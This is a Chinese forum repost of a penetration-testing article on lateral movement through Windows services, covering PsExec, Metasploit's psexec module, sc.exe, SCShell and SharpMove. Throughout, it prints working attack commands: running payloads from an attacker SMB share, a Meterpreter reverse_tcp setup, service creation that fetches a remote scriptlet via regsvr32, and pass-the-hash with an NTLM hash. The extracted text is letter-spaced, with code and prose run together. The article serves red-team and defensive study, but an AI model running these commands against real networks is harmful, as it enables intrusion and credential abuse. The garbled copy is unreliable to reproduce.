搜索

[28784] 2021-02-27_横向渗透测试–服务

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2021-02-27_横向渗透测试–服务 横 向 渗 透 测 试 – 服 务 O t s 安 全   2 0 2 1 - 0 2 - 2 7 过 去 ， 通 常 将 具 有 特 权 提 升 的 服 务 用 作 特 权 提 升 或 持 久 性 的 方 法 。 但 是 ， 由 于 本 地 管 理 员 有 权 创 建 / 重 新 启 动 服 务 以 及 修 改 二 进 制 路 径 ， 因 此 可 以 将 服 务 用 于 横 向 移 动 。 P s E x e c 是 使 用 服 务 进 行 横 向 移 动 的 第 一 个 实 现 ， 因 为 它 是 一 个 受 信 任 的 M i c r o s o f t 实 用 程 序 ， 可 以 推 送 任 意 文 件 并 注 册 一 个 服 务 ， 该 服 务 将 在 目 标 主 机 上 执 行 此 文 件 ， 从 而 允 许 威 胁 参 与 者 建 立 访 问 权 限 。 以 下 命 令 将 创 建 一 个 S M B 服 务 器 ， 该 服 务 器 将 承 载 任 意 有 效 负 载 。 运 行 P s E x e c 将 使 用 目 标 主 机 上 的 本 地 管 理 员 凭 据 进 行 身 份 验 证 ， 并 将 从 U N C 路 径 执 行 有 效 负 载 “   p e n t e s t l a b . e x e   ” 。 结 果 ， M e t e r p r e t e r 会 话 将 打 开 。 M e t a s p l o i t   F r a m e w o r k 具 有 一 个 可 以 通 过 S M B 横 向 移 动 执 行 的 模 块 ， 类 似 于 P s E x e c 。 该 模 块 要 求 使 用 纯 文 本 格 式 的 管 理 员 密 码 或 管 理 员 哈 希 。 M e t a s p l o i t   –   P s E x e c 模 块 基 于 P o w e r S h e l l 的 有 效 负 载 将 在 目 标 上 执 行 ， 并 将 建 立 一 个 新 会 话 。 i m p a c k e t - s m b s e r v e r   p e n t e s t l a b   / m s b u i l d   - s m b 2 s u p p o r t P s E x e c 6 4 . e x e   P C 1   - u   p e n t e s t l a b   - p   P a s s w o r d 1 2 3   c m d . e x e   / c   1 0 . 0 . 0 . 2 1 p e n t e s t l a b p e n t e s t l a b . e x e u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L P O R T   < L o c a l   P o r t > s e t   L H O S T   < L o c a l   I P > s e t   S M B U S E R   < l o c a l   a d m i n   u s e r n a m e > s e t   S M B P A S S   < l o c a l   a d m i n   p a s s w o r d > e x p l o i t
M e t a s p l o i t   –   P s E x e c   M e t e r p r e t e r 但 是 ， 这 两 种 方 法 都 非 常 嘈 杂 ， 即 使 可 以 在 渗 透 测 试 中 使 用 ， 也 应 避 免 在 红 色 团 队 中 使 用 。 使 用 P s E x e c 进 行 横 向 移 动 非 常 容 易 发 现 ， 因 为 将 在 系 统 上 创 建 新 服 务 ， 并 且 成 熟 的 安 全 运 营 中 心 （ S O C ） 应 该 已 经 发 出 警 报 。 P s E x e c   – 服 务 服 务 控 制 （ S C . e x e ） 是 M i c r o s o f t 实 用 程 序 ， 管 理 员 可 以 使 用 它 在 W i n d o w s 环 境 中 创 建 ， 修 改 ， 删 除 ， 启 动 和 停 止 服 务 。 与 需 要 将 其 拖 放 到 磁 盘 的 P s E x e c 相 比 ， 该 实 用 程 序 是 W i n d o w s 的 一 部 分 ， 可 以 直 接 滥 用 以 创 建 将 执 行 无 文 件 有 效 负 载 的 新 服 务 。 M e t e r p r e t e r   –   S C U n 1 k 0 d 3 r 先 生 在 他 的 工 具 S C S h e l l 中 实 现 了 一 种 使 用 服 务 的 横 向 移 动 的 新 方 法 。 . N E T 版 本 使 用 “   O p e n S C M a n a g e r   ”   A P I ， 该 A P I 根 据 M i c r o s o f t 文 档 使 用 远 程 过 程 调 用 ， 它 不 创 建 新 服 务 ， 因 为 它 依 赖 于 对 现 有 服 务 的 二 进 制 路 径 的 修 改 ， 并 且 可 以 与 无 文 件 一 起 使 用 有 效 载 荷 通 过 使 用 r e g s v r 3 2 方 法 。 与 上 述 现 有 技 术 相 比 ， 这 为 通 过 服 务 的 横 向 移 动 引 入 了 一 种 新 的 更 隐 秘 的 方 法 ， 具 有 更 高 的 安 全 性 。 s c   P C 1   c r e a t e   p e n t e s t l a b   b i n p a t h =   " C : W i n d o w s S y s t e m 3 2 r e g s v r 3 2 . e x e   / s   / n   / u   / i : h t t p : / / 1 0 . 0 . 0 . 2 1 : 8 0 8 0 / p e n t e s t l a b . s c t   s c r o b j . d l l " s c   P C 1   s t a r t   p e n t e s t l a b [ D l l I m p o r t ( " a d v a p i 3 2 . d l l " ,   E n t r y P o i n t   =   " O p e n S C M a n a g e r W " ,   E x a c t S p e l l i n g   =   t r u e ,   C h a r S e t   =   C h a r S e t . U n i c o d e ,   S e t L a s t E r r o r   =   t r u e ) ]           p u b l i c   s t a t i c   e x t e r n   I n t P t r   O p e n S C M a n a g e r (                   s t r i n g   l p M a c h i n e N a m e ,                     s t r i n g   l p D a t a b a s e N a m e ,                     u i n t   d w D e s i r e d A c c e s s ) ; S C S h e l l . e x e   1 0 . 0 . 0 . 1 1   X b l A u t h M a n a g e r   " C : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   C : w i n d o w s s y s t e m 3 2 r e g s v r 3 2 . e x e   / s   / n   / u   / i : h t t p : / / 1 0 . 0 . 0 . 2 1 : 8 0 8 0 / p e n t e s t l a b . s c t   s c r o b j . d l l "   .   p e n t e s t l a b   P a s s w o r d 1 2 3
横 向 运 动 –   S C S h e l l   M e t e r p r e t e r 了 “ 的 P y t h o n 实 现 S C S h e l l   ” 使 用 “   D C E R P C   ” 进 行 认 证 ， 而 不 是 S M B ， 并 且 可 以 从 一 个 非 域 来 执 行 接 合 系 统 。 横 向 运 动 –   S C S h e l l   P y t h o n 另 一 种 选 择 是 使 用 W M I 对 目 标 主 机 进 行 身 份 验 证 ， 以 便 修 改 S h a r p M o v e 中 实 现 的 现 有 服 务 。 以 下 命 令 将 通 过 修 改 现 有 服 务 （ 类 似 于 “   S C S h e l l   ” 工 具 ） ， 从 目 标 主 机 上 的 U N C 路 径 执 行 任 意 有 效 负 载 。 d e f   r u n (                 s e l f ,                 r e m o t e N a m e ,                 r e m o t e H o s t ,                 s e r v i c e N a m e ,                 n o C m d ,                 ) :                 e x i t C l i   =   F a l s e                 s t r i n g B i n d i n g   =   e p m . h e p t _ m a p ( r e m o t e N a m e ,   s c m r . M S R P C _ U U I D _ S C M R ,   p r o t o c o l = ' n c a c n _ i p _ t c p ' )                 r p c t r a n s p o r t   =   t r a n s p o r t . D C E R P C T r a n s p o r t F a c t o r y ( s t r i n g B i n d i n g )                 l o g g i n g . d e b u g ( ' b i n d i n g   t o   % s '   %   s t r i n g B i n d i n g )                 r p c t r a n s p o r t . s e t _ c r e d e n t i a l s ( p y t h o n 3   s c s h e l l . p y   p e n t e s t l a b o r a t o r i e s / p e n t e s t l a b @ 1 0 . 0 . 0 . 1 1   - h a s h e s   a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 5 8 a 4 7 8 1 3 5 a 9 3 a c 3 b f 0 5 8 a 5 e a 0 e 8 f d b 7 1 C : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   C : w i n d o w s s y s t e m 3 2 r e g s v r 3 2 . e x e   / s   / n   / u   / i : h t t p : / / 1 0 . 0 . 0 . 2 1 : 8 0 8 0 / p e n t e s t l a b . s c t   s c r o b j . d l l s t a t i c   M a n a g e m e n t S c o p e   W M I C o n n e c t ( s t r i n g   h o s t ,   s t r i n g   u s e r n a m e ,   s t r i n g   p a s s w o r d )   {     s t r i n g   w m i N a m e S p a c e   =   " r o o t C I M v 2 " ;     C o n n e c t i o n O p t i o n s   o p t i o n s   =   n e w   C o n n e c t i o n O p t i o n s ( ) ;     C o n s o l e . W r i t e L i n e ( " r n     H o s t                                                       :   { 0 } " ,   h o s t ) ;     i f   ( ! S t r i n g . I s N u l l O r E m p t y ( u s e r n a m e ) )     {           C o n s o l e . W r i t e L i n e ( " [ + ]     U s e r   c r e d e n t i a l s                               :   { 0 } " ,   u s e r n a m e ) ;           o p t i o n s . U s e r n a m e   =   u s e r n a m e ;           o p t i o n s . P a s s w o r d   =   p a s s w o r d ;     } S h a r p M o v e . e x e   a c t i o n = m o d s v c   c o m p u t e r n a m e = P C 1   c o m m a n d = " c m d . e x e   / c   1 0 . 0 . 0 . 2 1 p e n t e s t l a b p e n t e s t l a b . e x e "   a m s i = t r u e   s e r v i c e n a m e = p e n t e s t l a b   u s e r n a m e = p e n t e s t l a b   p a s s w o r d = P a s s w o r d 1 2 3
横 向 运 动 –   S h a r p M o v e 总 体 而 言 ， 通 过 服 务 进 行 的 横 向 移 动 已 从 S M B 协 议 过 渡 到 R P C 和 W M I 。 现 代 工 具 试 图 修 改 有 效 服 务 的 二 进 制 路 径 并 执 行 无 文 件 有 效 载 荷 以 横 向 移 动 ， 从 而 使 红 色 团 队 可 以 继 续 使 用 这 种 技 术 ， 并 使 S O C 团 队 意 识 到 监 视 网 络 上 的 远 程 过 程 调 用 以 识 别 此 类 攻 击 。 参 考 h t t p s : / / a t t a c k . m i t r e . o r g / t e c h n i q u e s / T 1 0 2 1 / 0 0 2 / h t t p s : / / g i t h u b . c o m / 0 x t h i r t e e n / S h a r p M o v e h t t p s : / / g i t h u b . c o m / M r - U n 1 k 0 d 3 r / S C S h e l l 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理